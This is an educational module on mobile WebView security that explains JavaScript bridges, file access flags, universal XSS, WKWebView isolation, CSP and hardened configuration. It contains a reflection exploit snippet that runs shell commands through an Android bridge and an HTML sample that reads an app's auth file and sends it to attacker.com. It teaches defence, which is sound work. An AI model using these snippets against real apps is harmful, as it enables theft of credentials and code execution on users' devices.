Skip to main content
Be Bitwise

WebView Vulnerabilities

Mobile Application Vulnerability Classes · Mobile Application Security track

12 min read

In this module

The Browser Inside Your App

A WebView is a baby browser you embed in a native app. Android's WebView class renders HTML, CSS, and JavaScript on behalf of the app, with the app's identity and permissions. iOS has WKWebView (and the deprecated UIWebView) for the same job. WebViews are everywhere — in-app browsers, help screens, ad SDKs, hybrid frameworks, OAuth login flows. They quietly run a sizeable chunk of every phone's daily traffic.

The security headache is that a WebView splices two very different security models together. Web content lives by the browser's same-origin policy. Native code lives by the OS's permission and sandbox rules. The seam between them is where attacks live. A misconfigured WebView lets web content step out of the browser sandbox and into the app's native context, with all the file access and tokens that come with it.

Android WebView Architecture

Since Android 4.4, the WebView has been backed by Chromium. It runs on behalf of the host app, sharing the app's permissions, file access, and network config. That sharing is the whole problem in one sentence — code running in the WebView inherits whatever the app itself can do.

A WebView can load content from three sources:

  1. Remote URLs - web content fetched over HTTP/HTTPS
  2. Local files - HTML files bundled in the app's assets or stored on the filesystem
  3. Data strings - HTML passed directly via loadDataWithBaseURL()

Each source comes with its own threat profile. Remote content is at the mercy of whoever owns the web server, plus anyone with a foothold on the network if you're foolish enough to load it over HTTP. Local files are nominally yours, except they might be writable by other apps if you stashed them on external storage. Data strings are only as safe as the code that builds them.

WebView Process Model

A real browser sandboxes each tab in its own process. Android's WebView used to render inside the host app's process, sharing its address space. Since Android 8.0 the renderer runs in a separate, sandboxed process on 64-bit and high-memory devices, and on every device from Android 11 (low-memory 32-bit phones on 8.0 to 10 still render in-process). So a rendering-engine bug now needs a sandbox escape. The JavaScript bridge is different: the objects you expose with addJavascriptInterface live in the app's own process, so a bridge bug doesn't have to escape anything. It's already on the inside.

The JavaScript Bridge: addJavascriptInterface

Android lets you expose native Java/Kotlin objects to JavaScript in a WebView via addJavascriptInterface(). You bind an object to a name and JavaScript can call its methods directly:

java
class AppBridge {
@JavascriptInterface
public String getAuthToken() {
return currentUser.getToken();
}
}
webView.addJavascriptInterface(new AppBridge(), "NativeBridge");

JavaScript in the WebView calls NativeBridge.getAuthToken() and the token comes back. That's the intended workflow: a controlled, narrow slice of native functionality served up to web content.

The Reflection Attack (Pre-Android 4.2)

Before Android 4.2, addJavascriptInterface happily exposed every public method of the bound object — including the ones inherited from java.lang.Object. That was a disaster, because getClass() is public on every Java object, and the Class it returns is the front door to Java's full reflection API.

The exploit chain was straightforward:

javascript
// Step 1: Get the Java Class object via the bridge
var bridge = NativeBridge;
var clazz = bridge.getClass();
// Step 2: Use reflection to access Runtime
var runtime = clazz.forName("java.lang.Runtime");
var exec = runtime.getMethod("getRuntime", null);
var rt = exec.invoke(null, null);
// Step 3: Execute arbitrary shell commands
rt.exec("id"); // or any command with the app's permissions

Net effect: any app calling addJavascriptInterface while loading untrusted web content was a remote-code-execution bug waiting for a network. Slip JavaScript into the WebView — via MITM on HTTP, an XSS in the loaded page, or a poisoned ad — and you ran shell commands with the app's permissions.

Android 4.2 fixed this with the @JavascriptInterface annotation. Only methods carrying it get exposed to JavaScript. getClass() doesn't carry it, so the reflection door slammed shut. The catch: apps targeting API levels below 17, or running on pre-4.2 devices, stayed vulnerable for years afterwards.

Key Concept
@JavascriptInterface Annotation

Starting with Android 4.2 (API 17), only Java methods annotated with @JavascriptInterface are accessible from JavaScript in a WebView. This was introduced to close the reflection-based remote code execution vulnerability where JavaScript could call getClass() on any bridge object and use reflection to execute arbitrary commands. Apps must target API 17+ and annotate only the methods they intend to expose.

File Access Through WebView

WebView has several settings that control access to the local filesystem. Historically, these were enabled by default, creating vulnerabilities:

setAllowFileAccess(true) - allows the WebView to load file:// URLs, giving JavaScript access to files in the app's sandbox.

setAllowFileAccessFromFileURLs(true) - allows JavaScript running in a file:// context to make XMLHttpRequest calls to other file:// URLs. This breaks the same-origin policy for local files.

setAllowUniversalAccessFromFileURLs(true) - allows JavaScript in a file:// context to access content from any origin, including http:// and https://.

With these flags on, an attacker who can drop a malicious HTML file onto the device — via a download, a leaky content provider, or external storage — loads it in the WebView and starts shovelling files out of the app's sandbox:

html
<!-- Malicious HTML file loaded via file:// URL -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml");
xhr.onload = function() {
// Exfiltrate the app's authentication data
new Image().src = "https://attacker.com/steal?data="
+ encodeURIComponent(xhr.responseText);
};
xhr.send();
</script>

Since Android 4.1, setAllowFileAccessFromFileURLs and setAllowUniversalAccessFromFileURLs default to false for apps targeting API 16+. setAllowFileAccess stayed true by default all the way to API 30 (Android 11). Plenty of apps cheerfully re-enable these flags without grasping what they're switching back on.

Universal XSS in WebView

Universal cross-site scripting (UXSS) is a flaw in the WebView engine itself, not in any one web page. It lets JavaScript from one origin read content from another. The same-origin policy stops being a wall and becomes a suggestion.

UXSS bugs have shown up in both Android WebView and iOS UIWebView. They usually exploit how the rendering engine handles navigation, iframes, or weird URL schemes. Pre-Android 5.0, WebView updates were tied to OS releases, so older devices stayed vulnerable indefinitely. Google decoupled WebView from the OS in 5.0 and pushes updates through Play Store now.

UXSS impact is brutal. If the WebView loads content from multiple origins (a page with third-party ad iframes, say), UXSS lets the attacker's script read cookies, DOM, and form data from those other origins. Pair it with a JavaScript bridge and you've got native code execution.

Universal XSS vs Regular XSS

Regular XSS targets a single web app — attacker injects script into that app's pages. Universal XSS targets the browser or WebView engine, freeing scripts to cross origins at will. UXSS is the worse of the two, because it isn't site-specific and the web application has no way to mitigate it.

iOS: WKWebView vs UIWebView

iOS has had two WebView implementations:

UIWebView (deprecated in iOS 12, and refused by App Store review for new apps and updates from 2020) ran JavaScript inside the app's own process with no isolation. It carried most of the same problems as early Android WebView — bridge attacks, same-origin bypasses — and shipped a famously loose security model that exposed the app's cookie jar, local storage, and a Safari-shared cache.

WKWebView (iOS 8 onwards) does it the right way. Rendering and JavaScript run in a separate process, com.apple.WebKit.WebContent. Process-level isolation, real this time. Even a rendering-engine exploit doesn't directly touch the app's memory; the attacker still needs a sandbox escape to climb into the host process.

WKWebView communicates with the host app through a structured message handler API:

swift
// Native side: register a message handler
let config = WKWebViewConfiguration()
config.userContentController.add(self, name: "appBridge")
// JavaScript side: send a message
window.webkit.messageHandlers.appBridge.postMessage({
action: "getToken"
});

Safer than Android's addJavascriptInterface, because nothing more than a serialised message crosses the boundary. JavaScript posts; native code receives and processes. No live object references, no direct method invocation. The remaining trap is the obvious one — if the native handler swallows message content without validation, the bug just moves up a layer.

Content Security Policy in Mobile WebViews

Content Security Policy is a web standard that lets a page declare which content sources (scripts, styles, images, frames) it's willing to accept. Done well, CSP shuts down a lot of XSS by blocking inline scripts and pinning script sources to trusted domains.

In a mobile WebView, CSP is relevant but limited:

  • CSP headers or meta tags in the loaded web content work as they would in a normal browser
  • The app developer can inject CSP via loadDataWithBaseURL() for locally generated content
  • CSP cannot restrict the JavaScript bridge - if addJavascriptInterface is configured, native methods are accessible regardless of CSP
  • CSP does not prevent UXSS, which operates below the policy enforcement layer
html
<!-- CSP meta tag for WebView-loaded content -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted.cdn.com;
object-src 'none'; base-uri 'self';">

CSP is useful as one layer in a defence-in-depth strategy, never as the only control. It plays nicely with proper WebView config — file access off, bridges minimal, HTTPS-only loading.

WebView in the Exploit Chain

WebView bugs rarely cause damage on their own. The real impact comes when they're a link in an exploit chain — a series of bugs whose combined power dwarfs any single one of them.

A typical exploit chain involving a WebView might look like this. Tap a hop to see what breaks it, or switch a defence on and watch where the chain stops:

A WebView exploit chain

Deep link / intent
Loads attacker URL
Attacker JS runs
Calls the bridge
Native access
Exfiltrate data

Hover over or tap each step to see details

  1. Entry point: The attacker sends a deep link or intent that causes the app to load a URL in a WebView. The URL points to attacker-controlled content.
  2. JavaScript execution: The attacker's JavaScript executes in the WebView context. This might be achieved through the loaded page itself, through an XSS vulnerability in the loaded page, or through a UXSS vulnerability in the WebView engine.
  3. Bridge exploitation: The JavaScript calls methods on the JavaScript-to-native bridge, accessing native functionality. On pre-4.2 Android, this could be arbitrary command execution via reflection. On newer versions, it is limited to annotated methods - but a poorly designed bridge might still expose sensitive operations.
  4. Data exfiltration or escalation: The attacker uses native access to read sensitive data (authentication tokens, personal information, encryption keys) or to interact with other app components and device features.

This pattern shows up in real disclosures against major messaging apps, banking apps, and ad SDKs. In several public cases, a single attacker-controlled URL loaded in a WebView ended with the entire account compromised.

Secure WebView Configuration

Hardening a WebView requires explicitly disabling dangerous features and validating all content:

java
// Android secure WebView configuration
WebSettings settings = webView.getSettings();
// Disable JavaScript unless absolutely necessary
settings.setJavaScriptEnabled(false);
// Disable file access
settings.setAllowFileAccess(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setAllowUniversalAccessFromFileURLs(false);
// Disable content URL access
settings.setAllowContentAccess(false);
// Override URL loading to enforce HTTPS and allowlisted domains
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if (!"https".equals(uri.getScheme())) return true; // Block non-HTTPS
if (!ALLOWED_HOSTS.contains(uri.getHost())) return true; // Block unknown hosts
return false; // Allow navigation
}
});
  • Disable JavaScript if the WebView only displays static content
  • Never enable file access settings unless loading local files is a strict requirement
  • Use shouldOverrideUrlLoading to restrict navigation to trusted, HTTPS-only domains
  • Minimise the JavaScript bridge surface area - expose only the specific methods needed, validate all parameters, and never pass bridge data to shell commands or file operations
  • On iOS, always use WKWebView (never UIWebView) for its process isolation benefits
  • Validate the origin of WKWebView message handler calls using the WKScriptMessage.frameInfo property
  • On Android, prefer the androidx.webkit helpers: WebViewAssetLoader serves bundled files over an https:// origin so you can leave file access off, and addWebMessageListener takes an explicit origin allowlist, unlike addJavascriptInterface
  • Don't run OAuth or other sign-in flows in an embedded WebView at all. Custom Tabs on Android and ASWebAuthenticationSession on iOS hand the login to the system browser, where the app can't read the user's password